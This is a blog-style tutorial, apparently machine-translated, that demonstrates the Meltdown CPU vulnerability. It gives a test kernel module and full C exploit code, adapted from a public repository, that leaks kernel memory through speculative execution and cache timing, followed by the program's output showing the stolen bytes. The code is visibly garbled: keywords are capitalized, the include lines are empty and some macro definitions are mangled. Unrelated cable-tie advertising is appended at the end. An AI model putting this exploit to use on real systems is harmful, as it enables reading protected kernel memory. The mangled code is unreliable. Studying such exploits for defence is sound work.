This article is my pro test of the meltdown vulnerability on Ubuntu 14.04. The meltdown vulnerability allows us to read the kernel space data in user space and make unauthorized access. I feel that every day I read a technical article, instead of experimenting with it myself, I can't always understand it, so let's instantiate it and write the code directly to see the effect! This article does not involve technical details for the time being, only the relevant code. The detailed principle, I hope there is a chance to describe it later.
First write a kernel module, including a very simple proc interface, which has a kernel global variable variable=0x12345678, this proc interface exposes this global variable.
I will try to use an application meltdown-baohua.c to steal this kernel space variable from user space.
#include
#include
#include
#include
#include
#include
#include
Static unsigned int variable=0x12345678;
Static struct proc_dir_entry *test_entry;
Static int test_proc_show(struct seq_file *seq, void *v)
{
Unsigned int *ptr_var = seq->private;
Seq_printf(seq, "%u", *ptr_var);
Return 0;
}
Static int test_proc_open(struct inode *inode, struct file *file)
{
Return single_open(file, test_proc_show, PDE_DATA(inode));
}
Static const struct file_operations test_proc_fops =
{
.owner = THIS_MODULE,
.open = test_proc_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
Static __init int test_proc_init(void)
{
Printk("variable addr:%p", &variable);
Test_entry = proc_create_data("stolen_data",0444, NULL, &test_proc_fops, &variable);
If (test_entry)
Return 0;
Return -ENOMEM;
}
Module_init(test_proc_init);
Static __exit void test_proc_cleanup(void)
{
Remove_proc_entry("stolen_data", NULL);
}
Module_exit(test_proc_cleanup);
MODULE_AUTHOR("Barry Song <>");
MODULE_DESCRIPTION("proc exmaple");
MODULE_LICENSE("GPL v2");
The corresponding Makefile for this module is as follows:
Compile it and execute it:
#make
#sudo insmod proc.ko
Then dmesg sees printk("variable addr:%p", &variable); the variable address printed on this line is:
[25996.868363] variable addr:f9adf000
Then we use the following program to steal the f9adf000 data:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
//#define DEBUG 1
/* comment out if getting illegal insctructions error */
#ifndef HAVE_RDTSCP
# define HAVE_RDTSCP 1
#endif
#if !(defined(__x86_64__) ||defined(__i386__))
# error "Only x86-64 and i386 are supported at the moment"
#endif
#define TARGET_OFFSET12
#define TARGET_SIZE(1 << TARGET_OFFSET)
#define BITS_READ8
#define VARIANTS_READ(1 << BITS_READ)
Static char target_array[VARIANTS_READ * TARGET_SIZE];
Void clflush_target(void)
{
Int i;
For (i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
}
Extern char stopspeculate[];
Static void __attribute__((noinline))
Speculate(unsigned long addr)
{
#ifdef __x86_64__
Asm volatile (
"1:"
".rept 300"
"add $0x141, %%rax"
".endr"
"movzx (%[addr]), %%eax"
"shl $12, %%rax"
"jz 1b"
"movzx (%[target], %%rax, 1), %%rbx"
"stopspeculate: "
"nop"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#else /* ifdef __x86_64__ */
Asm volatile (
"1:"
".rept 300"
"add $0x141, %%eax"
".endr"
"movzx (%[addr]), %%eax"
"shl $12, %%eax"
"jz 1b"
"movzx (%[target], %%eax, 1), %%ebx"
"stopspeculate: "
"nop"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#endif
}
Static inline int
Get_access_time(volatile char *addr)
{
Int time1, time2, junk;
Volatile int j;
#if HAVE_RDTSCP
Time1 = __rdtscp(&junk);
j = *addr;
Time2 = __rdtscp(&junk);
#else
Time1 = __rdtsc();
j = *addr;
_mm_mfence();
Time2 = __rdtsc();
#endif
Return time2 - time1;
}
Static int cache_hit_threshold;
Static int hist[VARIANTS_READ];
Void check(void)
{
Int i, time, mix_i;
Volatile char *addr;
For (i = 0; i < VARIANTS_READ; i++) {
Mix_i = ((i * 167) + 13) & 255;
Addr = &target_array[mix_i * TARGET_SIZE];
Time = get_access_time(addr);
If (time <= cache_hit_threshold)
Hist[mix_i]++;
}
}
Void sigsegv(int sig, siginfo_t *siginfo, void *context)
{
Ucontext_t *ucontext = context;
#ifdef __x86_64__
Ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
#else
Ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
#endif
Return;
}
Int set_signal(void)
{
Struct sigaction act = {
.sa_sigaction = sigsegv,
.sa_flags = SA_SIGINFO,
};
Return sigaction(SIGSEGV, &act, NULL);
}
#define CYCLES 1000
Int readbyte(int fd, unsigned long addr)
{
Int i, ret = 0, max = -1, maxi = -1;
Static char buf[256];
Memset(hist, 0, sizeof(hist));
For (i = 0; i < CYCLES; i++) {
Ret = pread(fd, buf, sizeof(buf), 0);
If (ret < 0) {
Perror("pread");
Break;
}
Clflush_target();
Speculate(addr);
Check();
}
#ifdef DEBUG
For (i = 0; i < VARIANTS_READ; i++)
If (hist[i] > 0)
Printf("addr %lx hist[%x] = %d", addr, i, hist[i]);
#endif
For (i = 1; i < VARIANTS_READ; i++) {
If (hist[i] && hist[i] > max) {
Max = hist[i];
Maxi = i;
}
}
Return maxi;
}
Static char *progname;
Int usage(void)
{
Printf("%s: [hexaddr] [size]", progname);
Return 2;
}
Static int mysqrt(long val)
{
Int root = val / 2, prevroot = 0, i = 0;
While (prevroot != root && i++ < 100) {
Prevroot = root;
Root = (val / root + root) / 2;
}
Return root;
}
#define ESTIMATE_CYCLES1000000
Static void
Set_cache_hit_threshold(void)
{
Long cached, uncached, i;
If (0) {
Cache_hit_threshold = 80;
Return;
}
For (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
Cached += get_access_time(target_array);
For (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
Cached += get_access_time(target_array);
For (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
_mm_clflush(target_array);
Uncached += get_access_time(target_array);
}
Cached /= ESTIMATE_CYCLES;
Uncached /= ESTIMATE_CYCLES;
Cache_hit_threshold = mysqrt(cached * uncached);
Printf("cached = %ld, uncached = %ld, threshold %d",
Cached, uncached, cache_hit_threshold);
}
Static int min(int a, int b)
{
Return a < b ? a : b;
}
Int main(int argc, char *argv[])
{
Int ret, fd, i, is_vulnerable;
Unsigned long addr, size;
Progname = argv[0];
If (argc < 3)
Return usage();
If (sscanf(argv[1], "%lx", &addr) != 1)
Return usage();
If (sscanf(argv[2], "%lx", &size) != 1)
Return usage();
Memset(target_array, 1, sizeof(target_array));
Ret = set_signal();
Set_cache_hit_threshold();
Fd = open("/proc/stolen_data", O_RDONLY);
If (fd < 0) {
Perror("open");
Return -1;
}
For (i = 0; i < size; i++) {
Ret = readbyte(fd, addr);
If (ret == -1)
Ret = 0xff;
Printf("read %lx = %x %c (score=%d/%d)",
Addr, ret, isprint(ret) ? ret : ' ',
Ret != 0xff ? hist[ret] : 0,
CYCLES);
Addr++;
}
Close(fd);
Return 0;
}
The above program is adapted from: https://github.com/paboldin/meltdown-exploit.git
Compile the above program and perform stealing:
Baohua@baohua-VirtualBox:~/meltdown-exploit$ gcc -O2 -msse2 meltdown-baohua.c
Baohua@baohua-VirtualBox:~/meltdown-exploit$ sudo ./a.out f9adf000 4
[sudo] password for baohua:
Cached = 31, uncached = 312, threshold 98
Read f9adf000 = 78 x (score=120/1000)
Read f9adf001 = 56 V (score=129/1000)
Read f9adf002 = 34 4 (score=218/1000)
Read f9adf003 = 12 (score=178/1000)
So we steal the 4 bytes starting with f9adf000, 12345678!
The detailed principle, there is no time to talk about it, readers can do it first!
Arrowhead Mount Cable Tie for Round Hole
Arrowhead Mount Cable Tie For Round Hole,Round Hole Zip Tie,Push Mount Fixing Tie,Arrowhead Fixing Tie
Wenzhou Langrun Electric Co.,Ltd , https://www.langrunele.com